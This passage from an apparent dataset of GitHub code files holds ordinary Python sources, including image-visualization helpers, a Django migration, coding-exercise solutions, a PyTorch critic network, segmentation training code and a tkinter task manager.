dims\r\n\r\n # Plot the box\r\n cv2.rectangle(\r\n image,\r\n (int(pred[0]), int(pred[1])),\r\n (int(pred[2]), int(pred[3])),\r\n (255, 0, 0), 3,\r\n )\r\n\r\n # Plot the seed\r\n if plot_seed:\r\n s_ = np.unravel_index(seed.cpu().numpy(), (w_featmap, h_featmap))\r\n size_ = np.asarray(scales) / 2\r\n cv2.rectangle(\r\n image,\r\n (int(s_[1] * scales[1] - (size_[1] / 2)), int(s_[0] * scales[0] - (size_[0] / 2))),\r\n (int(s_[1] * scales[1] + (size_[1] / 2)), int(s_[0] * scales[0] + (size_[0] / 2))),\r\n (0, 255, 0), -1,\r\n )\r\n\r\n pltname = f\"{vis_folder}/LOST_{im_name}.png\"\r\n Image.fromarray(image).save(pltname)\r\n print(f\"Predictions saved at {pltname}.\")\r\n \r\ndef visualize_mask(img, mask, patch_size, type_, vis_folder, im_name):\r\n mask_up = mask.cpu().bool().numpy().copy()\r\n mask_up = mask_up.repeat(patch_size, axis=0).repeat(patch_size, axis=1)\r\n mask_up = np.stack((mask_up,)*3, axis=-1)\r\n img_masked = img.copy()\r\n if type_ == 'fg':\r\n img_masked[np.logical_not(mask_up)] = 0\r\n if type_ == 'bg':\r\n img_masked[mask_up] = 0\r\n pltname = f\"{vis_folder}/SSOD_{im_name}_mask_{type_}.png\"\r\n Image.fromarray(img_masked.astype('uint8')).save(pltname) \r\n print(f\"Predictions saved at {pltname}.\")\r\n \r\ndef visualize_bbox(img, pred, gt_bboxs, vis_folder, im_name):\r\n cv2.rectangle(\r\n img,\r\n (int(pred[0]), int(pred[1])),\r\n (int(pred[2]), int(pred[3])),\r\n (255, 0, 0), 3,\r\n )\r\n for gt_bbox in gt_bboxs:\r\n cv2.rectangle(\r\n img,\r\n (int(gt_bbox[0]), int(gt_bbox[1])),\r\n (int(gt_bbox[2]), int(gt_bbox[3])),\r\n (0, 255, 0), 3,\r\n )\r\n\r\n pltname = f\"{vis_folder}/SSOD_{im_name}_bbox.png\"\r\n Image.fromarray(img.astype('uint8')).save(pltname)\r\n print(f\"Predictions saved at {pltname}.\")\r\n \r\ndef visualize_fms(A, seed, scores, dims, scales, output_folder, im_name):\r\n \"\"\"\r\n Visualization of the maps presented in Figure 2 of the paper. \r\n \"\"\"\r\n w_featmap, h_featmap = dims\r\n\r\n # Binarized similarity\r\n binA = A.copy()\r\n binA[binA < 0] = 0\r\n binA[binA > 0] = 1\r\n\r\n # Get binarized correlation for this pixel and make it appear in gray\r\n im_corr = np.zeros((3, len(scores)))\r\n where = binA[seed, :] > 0\r\n im_corr[:, where] = np.array([128 / 255, 133 / 255, 133 / 255]).reshape((3, 1))\r\n # Show selected pixel in green\r\n im_corr[:, seed] = [204 / 255, 37 / 255, 41 / 255]\r\n # Reshape and rescale\r\n im_corr = im_corr.reshape((3, w_featmap, h_featmap))\r\n im_corr = (\r\n nn.functional.interpolate(\r\n torch.from_numpy(im_corr).unsqueeze(0),\r\n scale_factor=scales,\r\n mode=\"nearest\",\r\n )[0].cpu().numpy()\r\n )\r\n\r\n # Save correlations\r\n skimage.io.imsave(\r\n fname=f\"{output_folder}/corr_{im_name}.png\",\r\n arr=im_corr.transpose((1, 2, 0)),\r\n )\r\n print(f\"Image saved at {output_folder}/corr_{im_name}.png .\")\r\n\r\n # Save inverse degree\r\n im_deg = (\r\n nn.functional.interpolate(\r\n torch.from_numpy(1 / binA.sum(-1)).reshape(1, 1, w_featmap, h_featmap),\r\n scale_factor=scales,\r\n mode=\"nearest\",\r\n )[0][0].cpu().numpy()\r\n )\r\n plt.imsave(fname=f\"{output_folder}/deg_{im_name}.png\", arr=im_deg)\r\n print(f\"Image saved at {output_folder}/deg_{im_name}.png .\")\r\n\r\ndef visualize_seed_expansion(image, pred, seed, pred_seed, scales, dims, vis_folder, im_name):\r\n \"\"\"\r\n Visualization of the seed expansion presented in Figure 3 of the paper. \r\n \"\"\"\r\n w_featmap, h_featmap = dims\r\n\r\n # Before expansion\r\n cv2.rectangle(\r\n image,\r\n (int(pred_seed[0]), int(pred_seed[1])),\r\n (int(pred_seed[2]), int(pred_seed[3])),\r\n (204, 204, 0), # Yellow\r\n 3,\r\n )\r\n\r\n # After expansion\r\n cv2.rectangle(\r\n image,\r\n (int(pred[0]), int(pred[1])),\r\n (int(pred[2]), int(pred[3])),\r\n (204, 0, 204), # Magenta\r\n 3,\r\n )\r\n\r\n # Position of the seed\r\n center = np.unravel_index(seed.cpu().numpy(), (w_featmap, h_featmap))\r\n start_1 = center[0] * scales[0]\r\n end_1 = center[0] * scales[0] + scales[0]\r\n start_2 = center[1] * scales[1]\r\n end_2 = center[1] * scales[1] + scales[1]\r\n image[start_1:end_1, start_2:end_2, 0] = 204\r\n image[start_1:end_1, start_2:end_2, 1] = 37\r\n image[start_1:end_1, start_2:end_2, 2] = 41\r\n\r\n pltname = f\"{vis_folder}/LOST_seed_expansion_{im_name}.png\"\r\n Image.fromarray(image).save(pltname)\r\n print(f\"Image saved at {pltname}.\")\r\n\r\ndef plot_2d_clustering(image, assignments, n_h, n_w, indices, patch_size, fig_name = None, show_fig = False):\r\n # Process the indices\r\n # indices = indices[0].argmax(dim=-1).squeeze().tolist()\r\n # indices = [(i // n_w, i % n_w) for i in indices]\r\n indices = torch.nonzero(indices[0]).tolist()\r\n indices_dict = {}\r\n for r in indices:\r\n if r[0] in indices_dict.keys():\r\n indices_dict[r[0]].append((r[1] // n_w, r[1] % n_w))\r\n else:\r\n indices_dict[r[0]] = [(r[1] // n_w, r[1] % n_w)]\r\n\r\n # Tile the image\r\n image = image.cuda()\r\n # image = (image - image.min()) / (image.max() - image.min())\r\n image = rearrange(image, 'c (m h) (n w) -> (m n) c h w', m=n_h, n=n_w)\r\n\r\n # Plot\r\n k = assignments.shape[-1]\r\n m_plot = int(math.sqrt(k))\r\n n_plot = math.ceil(k / m_plot)\r\n fig, axes = plt.subplots(m_plot, n_plot, figsize=(n_plot * 10, m_plot * 10))\r\n\r\n # Re-weight the images\r\n images_tile = torch.einsum('n c h w, n k -> k n c h w', image, assignments[0, :, :])\r\n images_tile = rearrange(images_tile, 'k (m n) c h w -> k c (m h) (n w)', m=n_h, n=n_w)\r\n\r\n # Iterate over each centroid\r\n for l in range(k):\r\n i = l // n_plot\r\n j = l % n_plot\r\n image_tile = images_tile[l]\r\n image_tile = (image_tile - image_tile.min()) / (image_tile.max() - image_tile.min())\r\n\r\n # Get the corresponding index\r\n rows_cols = [(r * patch_size, c * patch_size) for r, c in indices_dict[l]]\r\n\r\n # Plot the query patch\r\n if m_plot > 1:\r\n for r, c in rows_cols:\r\n axes[i, j].plot(c, r, '-', marker='o', color='red', lw=1, mec='k', mew=1, markersize=20)\r\n\r\n axes[i, j].imshow(image_tile.permute(1, 2, 0).cpu())\r\n axes[i, j].axis('off')\r\n else:\r\n for r, c in rows_cols:\r\n axes[j].plot(c, r, '-', marker='o', color='red', lw=1, mec='k', mew=1, markersize=20)\r\n\r\n axes[j].imshow(image_tile.permute(1, 2, 0).cpu())\r\n axes[j].axis('off')\r\n plt.subplots_adjust(wspace=0, hspace=0)\r\n if fig_name == None:\r\n index = random.randint(0, 100)\r\n plt.savefig('figures/object_discovery_{}'.format(index))\r\n else:\r\n plt.savefig('figures/{}'.format(fig_name))\r\n \r\n if show_fig:\r\n plt.show()\r\n else:\r\n plt.close()\r\n","repo_name":"tsfeith-epfl/LOST","sub_path":"visualizations.py","file_name":"visualizations.py","file_ext":"py","file_size_in_byte":7451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"23028955982","text":"import json\nfrom pyspark import SparkContext, SparkConf\n\nconf = SparkConf()\nconf.set('spark.executor.allowSparkContext', 'true')\nsc = SparkContext.getOrCreate(conf=conf)\ndataset_json = sc.textFile(\"dataset.json\")\ndataset = dataset_json.map(lambda x: json.loads(x))\ndataset.persist()\ndef compare_elems(x):\n return True\n\nfiltered = dataset.filter(lambda x: compare_elems(x))\nfiltered.take(1)\n","repo_name":"CanaryWharf/pyspark-mem-importlib-bug-reproduction","sub_path":"sparky.py","file_name":"sparky.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10134419379","text":"# 1 ≤ E ≤ 15, 1 ≤ S ≤ 28, 1 ≤ M ≤ 19\n\n\ndef addOne(value: int, limit: int):\n if value + 1 > limit:\n return 1\n else:\n return value + 1\n\n\ndef count(E, S, M):\n count = 1\n ESM = [1, 1, 1]\n while True:\n if ESM[0] == E and ESM[1] == S and ESM[2] == M:\n return count\n else:\n count += 1\n ESM[0] = addOne(ESM[0], 15)\n ESM[1] = addOne(ESM[1], 28)\n ESM[2] = addOne(ESM[2], 19)\n\n\n# print(count(1, 16, 16))\n\nE, S, M = map(int, input().split())\nprint(count(E, S, M))\n","repo_name":"scriabinEtude/coding_test","sub_path":"baekjoon/1476_날짜계산.py","file_name":"1476_날짜계산.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16271966326","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport cms.models.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('cms', '0011_auto_20150419_1006'),\n ('widgetbox', '0007_auto_20150522_1634'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='galleryimage',\n name='link_custom',\n field=models.CharField(max_length=400, blank=True),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='galleryimage',\n name='link_to_page',\n field=cms.models.fields.PageField(blank=True, to='cms.Page', null=True),\n preserve_default=True,\n ),\n ]\n","repo_name":"logitnet/djangocms-widgetbox","sub_path":"widgetbox/migrations/0008_auto_20150710_1450.py","file_name":"0008_auto_20150710_1450.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41256581506","text":"import os\n\nimport multitasking\n\nfrom libs.Common.utils import remove_not_valid_chars\nfrom libs.Models.downloads import DownloadsModel\nfrom libs.Views.downloads import DownloadsScreen\nfrom libs.hdrezkalib.hdrezka import HdRezkaApi\n\n\nclass DownloadsController:\n\n def __init__(self, app, name):\n self.app = app\n self.model = DownloadsModel(self.app, self)\n self.view = DownloadsScreen(controller=self, model=self.model, name=name)\n\n def get_screen(self):\n return self.view\n\n def open_item(self, link):\n self.app.rootScreen.menuController.search(link)\n\n def on_close(self):\n self.model.on_close()\n\n def isDownloading(self, url: str):\n return url in self.model.dictionary_hdrezka\n\n @multitasking.task\n def ppDownload(self, download_id: str):\n self.model.ppDownload(download_id)\n\n @multitasking.task\n def removeDownload(self, download_id: str):\n self.model.setDoRemoveDownload(download_id)\n\n @multitasking.task\n def addDownload(self, itemBaseInformation: dict, translation):\n\n item = HdRezkaApi(itemBaseInformation['url'])\n\n if item.type == 'movie':\n try:\n stream = item.getStream(translation=str(translation))\n itemBaseInformation['quality'] = list(stream.videos.keys())[self.app.msettings.get('debug_quality')]\n itemBaseInformation['translation'] = translation\n link = stream(itemBaseInformation['quality']) # Quality = -1 - MAX\n try:\n title = item.title + f\" ({item.date.split(' ')[-2]})\"\n except Exception:\n title = item.title + f\"({itemBaseInformation['year']})\"\n path = os.path.abspath(self.app.msettings.get('downloads_folder'))\n normalName = remove_not_valid_chars(title, '\\/:*?\"<>|').replace(' .', '.')\n file_extension = link.split('.')[-1]\n fullpath = os.path.join(path, normalName + f'.{file_extension}')\n self.model.addDownload(link, fullpath, itemBaseInformation.copy())\n except Exception as e:\n print(f\"Downloads.Controller: Error while trying to get info of film: {itemBaseInformation['title']} [{e}]\")\n print(f\"Downloads.Controller: Cancel adding download... Try to use VPN.\")\n self.app.callMessage(f\"Не удалось получить ссылку на фильм: {itemBaseInformation['title']}. Попробуйте использовать VPN.\")\n else:\n count_errors = 0\n for season in list(item.seriesInfo[str(translation)]['seasons'].keys()):\n if count_errors > 4:\n print(f\"Downloads.Controller: Cancel adding download... Try to use VPN.\")\n self.app.callMessage(f\"Не удалось получить ссылки на сериал: {itemBaseInformation['title']}. Попробуйте использовать VPN.\")\n break\n for episode in item.seriesInfo[str(translation)]['episodes'][season]:\n try:\n stream = item.getStream(str(season), str(episode), str(translation))\n itemBaseInformation['quality'] = list(stream.videos.keys())[self.app.msettings.get('debug_quality')]\n itemBaseInformation['translation'] = translation\n link = stream(itemBaseInformation['quality']) # Quality = -1 - MAX\n try:\n title = item.title + f\" ({item.date.split(' ')[-2]})\"\n except Exception:\n title = item.title + f\"({itemBaseInformation['year']})\"\n path = os.path.abspath(self.app.msettings.get('downloads_folder'))\n normalName = remove_not_valid_chars(title, '\\/:*?\"<>|').replace(' .', '.')\n clearName = normalName\n file_extension = link.split('.')[-1]\n normalName = normalName + f' [S{season}E{episode}]'\n path = os.path.join(path, clearName)\n fullpath = os.path.join(path, normalName + f'.{file_extension}')\n self.model.addDownload(link, fullpath, itemBaseInformation.copy(), season=season, episode=episode)\n except Exception:\n count_errors += 1\n print(f\"Downloads.Controller: Error while trying to get info of series: {itemBaseInformation['title']}, S{season}E{episode}\")\n if count_errors > 4:\n break\n\n self.app.spinner.stop()\n","repo_name":"alexanderkorochkin/Rezker","sub_path":"libs/Controllers/downloads.py","file_name":"downloads.py","file_ext":"py","file_size_in_byte":4746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73993261812","text":"from django.core.management.base import BaseCommand\nfrom hw2.models import Client, Product, Order\n\n\nclass Command(BaseCommand):\n help = \"Add an order by the client's id\"\n\n def add_arguments(self, parser):\n parser.add_argument('pk', type=int, help='Client ID')\n\n def handle(self,*args, **kwargs):\n pk = kwargs['pk']\n client = Client.objects.filter(pk=pk).first()\n order = Order(client=client)\n total_price = 0\n order.save()\n\n for i in range(1, 5):\n product = Product.objects.filter(pk=i).first()\n total_price += product.price\n order.products.add(product)\n order.save()\n\n order.total_price = total_price\n\n order.save()\n\n\n","repo_name":"Sleem28/Django_HW1","sub_path":"homeworks/hw2/management/commands/add_order_by_client.py","file_name":"add_order_by_client.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37902772809","text":"#!/usr/bin/python3\n\nimport argparse\nimport sys\nfrom xml.dom import minidom\n\ndef print_tabs(str, tab_level, end='\\n'):\n for _ in range(tab_level):\n print('\\t',end='')\n\n print(str,end=end)\n\ndef print_node(node, tab_level):\n child_level = tab_level\n if(node.nodeType == 1):\n print_tabs('<' + node.nodeName, tab_level)\n\n for name,value in sorted(node.attributes.items()):\n print_tabs(' ' + name + ' = \"' + value + '\"', tab_level)\n\n if(len(node.childNodes) < 1):\n print_tabs('/>', tab_level)\n return\n else:\n print_tabs('>', tab_level)\n\n child_level = tab_level + 1\n\n for child in sorted(node.childNodes, key=lambda node: node.nodeName):\n print_node(child,child_level)\n\n if(node.nodeType == 1):\n print_tabs('', tab_level)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('filename', nargs='?')\n args = parser.parse_args()\n\n if args.filename:\n xml_file = open(args.filename,'r')\n elif not sys.stdin.isatty():\n xml_file = sys.stdin\n else:\n parser.print_help()\n sys.exit(1)\n\n xml_doc = minidom.parse(xml_file)\n xml_file.close()\n\n print_node(xml_doc,0)\n","repo_name":"Chocrates/xml_sort","sub_path":"xml_sort.py","file_name":"xml_sort.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21448325258","text":"# Validação de entrada\r\n# Quando é necessário ler um valor DENTRO de uma faixa de valores\r\nMINIMO = 0.0 # valor mínimo da faixa (incluso)\r\nMAXIMO = 10.0 # valor máximo da faixa (incluso)\r\n\r\n# Entrada de dados\r\nnota1 = float(input('Digite 1a nota [0.0, 10.0]: '))\r\n# Validação: repete se nota1 FORA da faixa \r\nwhile nota1 < MINIMO or nota1 > MAXIMO:\r\n # Informa usuário sobre seu erro\r\n print('Êita! Vamos tentar novamente!')\r\n # Repete leitura\r\n nota1 = float(input('Digite 1a nota [0.0, 10.0]: '))\r\n# Comando executado após laço, então nota1 ESTÁ na faixa\r\n\r\nnota2 = float(input('Digite 2a nota [0.0, 10.0]: '))\r\n# Validação: repete se valor FORA da faixa \r\nwhile nota2 < MINIMO or nota2 > MAXIMO:\r\n # Informa usuário sobre seu erro\r\n print('Êita! Vamos tentar novamente!')\r\n # Repete leitura\r\n nota2 = float(input('Digite 2a nota [0.0, 10.0]: '))\r\n# Comando executado após laço, então nota2 ESTÁ na faixa\r\n \r\n# Saída de dados\r\nmedia = (nota1 + nota2) / 2\r\nprint('Nota1: {:.1f} | Nota2: {:.1f} | Media {:.2f}'\r\n .format(nota1, nota2, media))\r\n","repo_name":"pjandl/opy1","sub_path":"Dia_2/entradavalidada.py","file_name":"entradavalidada.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"pt","doc_type":"code","stars":21,"dataset":"github-code","pt":"21"} +{"seq_id":"37449101702","text":"n,k=map(int,input().split())\narr=[]\nfor i in range(n):\n num=float(input())\n arr.append(num)\narr.sort()\narr=arr[k:n-k]\na,b=0,0\nfor i in arr:\n x,y=str(i).split('.')\n\n a+=int(x)\n b+=int(y)\n\nb=b/10\nc=a+b\n\n\nprint('%.2f'%(c/len(arr)+0.0000000000001))\n\n\nf=arr[0]\ns=arr[-1]\nfor i in range(k):\n arr.append(f)\n arr.append(s)\n\na,b=0,0\nfor i in arr: \n x,y=str(i).split('.')\n\n a+=int(x)\n b+=int(y)\nb=b/10\nc=a+b\n\n\nprint('%.2f'%(c/len(arr)+0.0000000000001))","repo_name":"sunsu2737/algorithm","sub_path":"VSP/S6986.py","file_name":"S6986.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32766543298","text":"from rm_abm.rm_abm import *\nfrom rm_abm import evolvable, helper_functions, timeseries_runner\nfrom rm_abm import hdf_functions\nfrom mesa.batchrunner import BatchRunner\n\nparameters = {\"phage_off_diagonal\": [0.05, 0.5],\n \"fraction_b_m1\" : [0.1,0.5,0.9],\n \"phage_mutation_step\" : 0.1,\n \"phage_mutation_freq\" : [0.1, 1],\n \"re_degrade_foreign_0\": [0, 0.99, 0.999],\n \"re_degrade_foreign_1\": [0, 0.99, 0.999],\n \"epi_inheritance\" : [-2, -1, 1, 0.5, 0.1], #-1 = genetic, -2 = random\n \"phage_inactivation_time\" : 3}\n\n\n\nbatch_run = BatchRunner(BaseModel, \n parameters, \n iterations=10, \n max_steps=200,\n agent_reporters = {\n \"breed\" : lambda a : a.breed,\n \"methylation\" : lambda a: a.methylation,\n \"genotype\" : lambda a: a.genotype,\n \"affinity_0\" : helper_functions.get_affinity(0),\n \"affinity_1\" : helper_functions.get_affinity(1)},\n model_reporters={\n \"phage\" : lambda m : m.schedule.get_breed_count(Phage),\n \"bacteria\" : lambda m : m.schedule.get_breed_count(Bacteria),\n \"bacteria_meth_1\" : lambda m: get_breed_filtered_count(Bacteria,by_methylation(1))(m),\n \"phage_meth_1\" : lambda m: get_breed_filtered_count(Phage,by_methylation(1))(m),\n \"avg_affinity\" : helper_functions.avg_phage_affinity\n })\n\nbatch_run.run_all()\nrun_data_agents = batch_run.get_agent_vars_dataframe()\nrun_data_agents.to_csv(\"evolvable-phage-endpoint.csv\")\n","repo_name":"csmaxwell/phage-abm","sub_path":"evolvable-phage.py","file_name":"evolvable-phage.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31589410059","text":"def hash_s(s, n):\r\n h = 0\r\n for i in range(n):\r\n h = (h * 2 + ord(s[i]) - 65) % 1000000000000000000000001\r\n return h\r\n\r\ninputf = list(open(\"search2.in\"))\r\n\r\ns1 = inputf[0][:-1]\r\ns2 = inputf[1]\r\n\r\nans = []\r\n\r\nm = len(s1)\r\nn = len(s2)\r\n\r\nif (m > n):\r\n with open('search2.out', 'w') as file:\r\n file.write(\"0\\n\")\r\n\r\nelse:\r\n xm = 2 ** m\r\n\r\n h1 = hash_s(s1, m)\r\n h2 = hash_s(s2[:m], m)\r\n\r\n for i in range(1, n - m + 2):\r\n if (s2[i - 1] == s1[0] and h1 == h2):\r\n cur = i;\r\n flag = True\r\n for j in range(1, m):\r\n if s2[cur] != s1[j]:\r\n flag = False\r\n break\r\n cur += 1\r\n if flag:\r\n ans.append(i)\r\n if i != n - m + 1:\r\n h2 = (h2 * 2 - (ord(s2[i - 1]) - 65) * xm + (ord(s2[i - 1 + m]) - 65)) % 1000000000000000000000001\r\n\r\n with open('search2.out', 'w') as file:\r\n file.write(str(len(ans)) + \"\\n\")\r\n for i in ans:\r\n file.write(str(i) + \" \")\r\n","repo_name":"JabaJabila/ITMO_AlgorithmsCourse_1-2sem","sub_path":"lab_13/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23105031789","text":"class Solution(object):\n def decodeString(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n count_stack = []\n char_stack = []\n i = 0\n while i0:\n ch = char_stack.pop()\n if ch=='[':\n break\n else:\n char_ch.append(ch)\n char_ch = list(reversed(char_ch))\n times = count_stack.pop()\n if len(char_ch)>0:\n new_str = char_ch*times\n char_stack += list(new_str)\n i += 1 \n else:\n char_stack.append(s[i])\n i += 1 \n\n return ''.join(char_stack) \n\nsol = Solution()\nstring = \"3[a]2[bc]\"\nans = sol.decodeString(string)\nprint(ans)\n","repo_name":"sumitsk/leetcode","sub_path":"stacks_queques/decode_string.py","file_name":"decode_string.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38859893637","text":"import torch as th\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass MADDPGCritic(nn.Module):\n def __init__(self, scheme, args):\n super(MADDPGCritic, self).__init__()\n self.args = args\n self.n_actions = args.n_actions\n self.n_agents = args.n_agents\n self.input_shape = self._get_input_shape(scheme) + self.n_actions * self.n_agents\n self.output_type = \"q\"\n\n # Set up network layers\n self.fc1 = nn.Linear(self.input_shape, args.rnn_hidden_dim)\n self.fc2 = nn.Linear(args.rnn_hidden_dim, args.rnn_hidden_dim)\n self.fc3 = nn.Linear(args.rnn_hidden_dim, 1)\n\n def forward(self, inputs, actions, hidden_state=None):\n if actions is not None:\n inputs = th.cat([inputs.reshape(-1, self.input_shape - self.n_actions * self.n_agents),\n actions.contiguous().view(-1, self.n_actions * self.n_agents)], dim=-1)\n x = F.relu(self.fc1(inputs))\n x = F.relu(self.fc2(x))\n q = self.fc3(x)\n return q, hidden_state\n\n def _get_input_shape(self, scheme):\n # The centralized critic takes the state input, not observation\n input_shape = scheme[\"state\"][\"vshape\"]\n return input_shape","repo_name":"oxwhirl/facmac","sub_path":"src/modules/critics/maddpg.py","file_name":"maddpg.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"21"} +{"seq_id":"28278071340","text":"from common.caching import cached\n\n\nfrom . import dataio\nfrom . import synthetic_data\nfrom . import tf_models\n\n\nimport tensorflow as tf\nimport numpy as np\nimport skimage.transform\nimport tqdm\nimport os\nimport h5py\n\n\n@cached(synthetic_data.render_synthetic_body_zone_data, version=0)\ndef train_body_zone_segmenter(mode):\n image_size = 256\n output_size = image_size//4\n num_angles = 64\n num_splits = 16\n num_noise = 128\n\n\n get_noise = lambda size: skimage.transform.resize(np.random.randn(size, size, num_noise),\n (image_size, image_size))\n noise = sum(get_noise(image_size//2**i) for i in range(9))\n noise = np.swapaxes(noise, 0, 2)\n\n def data_generator(x, angles, batch_size):\n for i in range(0, len(x), batch_size):\n images = x[i:i+batch_size, 0, ...]\n choice = np.random.choice(num_noise, len(images))\n images = np.clip(images + noise[choice] * 0.05, 0, 1)\n images = (images > 0.25).astype('float32')\n\n labels = np.repeat(x[i:i+batch_size, 1, ::4, ::4][..., np.newaxis], num_splits, axis=-1)\n\n yield images, labels, angles[i:i+batch_size]\n\n\n tf.reset_default_graph()\n images = tf.placeholder(tf.float32, [None, image_size, image_size])\n zones = tf.placeholder(tf.int32, [None, output_size, output_size, num_splits])\n mask = tf.placeholder(tf.float32, [None, output_size, output_size, num_splits])\n\n heatmaps = tf_models.hourglass_model(images, 4, 256, 18*num_splits)\n heatmaps = tf.reshape(heatmaps, [-1, output_size, output_size, num_splits, 18])\n all_losses = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=zones, logits=heatmaps)\n loss = num_splits*tf.reduce_mean(mask*all_losses)\n\n optimizer = tf.train.AdamOptimizer(learning_rate=1e-3)\n train_step = optimizer.minimize(loss)\n\n\n def train_model(sess, epochs):\n x, angles = synthetic_data.render_synthetic_body_zone_data(mode)\n batch_size = 32\n for epoch in tqdm.trange(epochs, desc='epochs'):\n for image_batch, zone_batch, angle_batch in tqdm.tqdm(data_generator(x, angles,\n batch_size),\n desc='step',\n total=len(x)//batch_size):\n mask_batch = np.zeros((len(angle_batch), output_size, output_size, num_splits))\n for j, angle in enumerate(angle_batch):\n mask_batch[j, ..., angle*num_splits//num_angles] = 1\n\n feed_dict = {\n images: image_batch,\n zones: zone_batch,\n mask: mask_batch\n }\n sess.run([train_step], feed_dict=feed_dict)\n\n epochs = 1 if mode.startswith('sample') else 5\n saver = tf.train.Saver()\n path = os.getcwd() + '/model.ckpt'\n if not os.path.exists('done'):\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n train_model(sess, epochs)\n saver.save(sess, path)\n open('done', 'w').close()\n\n def predict_generator(image_generator):\n with tf.Session() as sess:\n saver.restore(sess, path)\n for image_batch, angle_batch in image_generator:\n input_batch = (image_batch > 0.1).astype('float32')\n heatmap_batch = sess.run([heatmaps], feed_dict={images: input_batch})[0]\n get_pred = lambda i, angle: np.argmax(heatmap_batch[i, ..., angle, :], axis=-1)\n preds = np.stack([get_pred(i, angle*num_splits//num_angles)\n for i, angle in enumerate(angle_batch)])\n yield preds\n\n return predict_generator\n\n\n@cached(dataio.get_data_hdf5, train_body_zone_segmenter, version=1)\ndef get_body_zone_heatmaps(mode):\n output_size = 64\n num_angles = 64\n\n if not os.path.exists('done'):\n _, x, _ = dataio.get_data_hdf5(mode)\n z = np.zeros((len(x), num_angles, output_size, output_size), dtype='uint8')\n\n def gen():\n for images in x:\n yield images, np.arange(num_angles)\n\n predict_generator = train_body_zone_segmenter('all')\n for i, preds in tqdm.tqdm(enumerate(predict_generator(gen())), total=len(x)):\n z[i] = preds\n\n np.save('z.npy', z)\n open('done', 'w').close()\n else:\n z = np.load('z.npy')\n return z","repo_name":"suchir/passenger_screening_algorithm_challenge","sub_path":"model_v1/body_zone_models.py","file_name":"body_zone_models.py","file_ext":"py","file_size_in_byte":4564,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"9087939523","text":"from tkinter import *\nimport tkinter.scrolledtext as scroll\nimport datetime\nimport json\nfrom tkinter import messagebox as mb\n\n\ntasks = []\n\n\ndef click():\n try:\n t = datetime.datetime.strptime(time.get(), '%H %M')\n d = {'Задача': task.get(), 'Катеория': category.get(), 'Время': time.get()}\n to_json(d)\n tasks.append(d)\n task.delete(0, END)\n category.delete(0, END)\n time.delete(0, END)\n return tasks\n except ValueError:\n mistake = Tk()\n mistake.geometry('300x25')\n mistake.title('Ошибка')\n mistake.configure(bg=\"#EEEEEE\")\n Label(mistake, text=\"Неверный формат задачи времени\", bg=\"#EEEEEE\").pack()\n mistake.mainloop()\n\n\ndef show():\n st.delete('1.0', END)\n for i in tasks:\n st.insert(INSERT, str(i)[1:-1]+'\\n')\n\n\ndef to_json(data):\n with open(\"task_list.json\", \"w\", encoding='utf-8') as file:\n json.dump(data, file, ensure_ascii=False)\n\ndef exit1():\n answer = mb.askyesno(title='Внимание!', message='Вы точно хотите выйти из программы?')\n if answer == True:\n root.destroy()\n else:\n pass\n\nroot = Tk()\nroot.geometry('750x200')\nroot.title('Менеджер задач')\nroot.configure(bg=\"#EEEEEE\")\n\nLabel(text=\"Задача:\", height=1, width=15, bg=\"#EEEEEE\").grid(row=1, column=0)\ntask = Entry(width=30, bg=\"#FFFFFF\")\ntask.grid(row=1, column=1)\n\nLabel(text=\"Категория:\", height=1, width=15, bg=\"#EEEEEE\").grid(row=2, column=0)\ncategory = Entry(width=30, bg=\"#FFFFFF\")\ncategory.grid(row=2, column=1)\n\nLabel(text=\"Время:\", height=1, width=15, bg=\"#EEEEEE\").grid(row=3, column=0)\ntime = Entry(width=30, bg=\"#FFFFFF\")\ntime.grid(row=3, column=1)\n\nButton(root, text=\"Добавить задачу\", height=1, width=15, bg=\"#EEEEEE\", command=click).grid(row=4, column=1)\n\nButton(text=\"Список задач\", height=1, width=15, bg=\"#EEEEEE\", command=show).grid(row=5, column=1)\n\nButton(root, text=\"Выход\", height=1, width=15, fg='white', bg=\"#FF000F\", command=exit1).grid(row=6, column=1)\n\nst = scroll.ScrolledText(root, width=35, height=6)\nst.grid(row=1, column=5, 